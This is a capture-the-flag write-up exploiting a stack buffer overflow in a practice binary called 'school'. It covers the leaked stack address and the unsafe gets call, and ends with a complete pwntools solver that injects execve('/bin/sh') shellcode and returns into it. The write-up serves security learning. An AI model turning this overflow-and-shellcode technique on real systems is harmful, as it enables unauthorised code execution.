school
Back to the basics.
2 min read
[ + ]Overview
Taking a quick look after running the binary, we are prompted with a single question, then the program exits. Notably, an address is leaked for us.
Here are the protections on the binary:
RELRO
Partial RELRO
STACK CANARY
No canary found
NX
NX enabled
PIE
No PIE
SELFRANDO
No Selfrando
Luckily, the binary protections are in our favour.
Let's throw it in IDA to get a better look at what's going on.
[ + ]Reversing
Taking a look at the main
function, we can see that firstly, it is the base of the stack being leaked.
lea rax, [rbp - 20h]
mov rsi, rax
...
call _printf
This means we can use the leaked address to reference some shell code once we overflow after the unsafe gets
call.
[ + ]Pwning
Firstly let's find the offset where our address will need to be stored. We can use gef
s pattern create
and search
functionality:
Now that we know the offset which is 40
, we can begin crafting our shellcode. I decided to challenge myself and fit the shellcode in the buffer, so I used the example here.
shell_code = (
b"\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7",
b"\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05"
)
Since we need some space on the stack, and don't want to accidentally overwrite our instructions, we can decrement rsp
:
sub rsp, 0x60
To convert this to hex, I used the tool here.
adjust_rsp = b"\x48\x83\xec\x60"
Now we can craft our complete exploit.
offset = 40
adjust_rsp = b"\x48\x83\xec\x60"
shell_code = (
b"\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7"
b"\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05"
)
buf = adjust_rsp + shell_code
buf += b"A" * (offset - len(buf)) + leaked_address
Setting a break point at the ret
, we can see that we have successfully overflowed and have the correct address.
[ + ]Solution
Solver
from pwn import *
from pwnlib.util.packing import *
# Context
context.arch = 'amd64'
context.log_level = 'DEBUG'
def pwn():
conn = process(['/tmp/lima/school/school'])
log.info(str(conn.pid))
pause()
conn.recvuntil('School\'s at: ')
response = conn.recvline()
address = response.split(b'.')[0][2:]
leaked_address = p64(int(address, 16))
offset = 40
adjust_rsp = b"\x48\x83\xec\x60"
shell_code = (
b"\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7"
b"\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05"
)
buf = adjust_rsp + shell_code
buf += b"A" * (offset - len(buf)) + leaked_address
conn.sendline(buf)
conn.interactive()
conn.close()
if __name__ == "__main__":
pwn()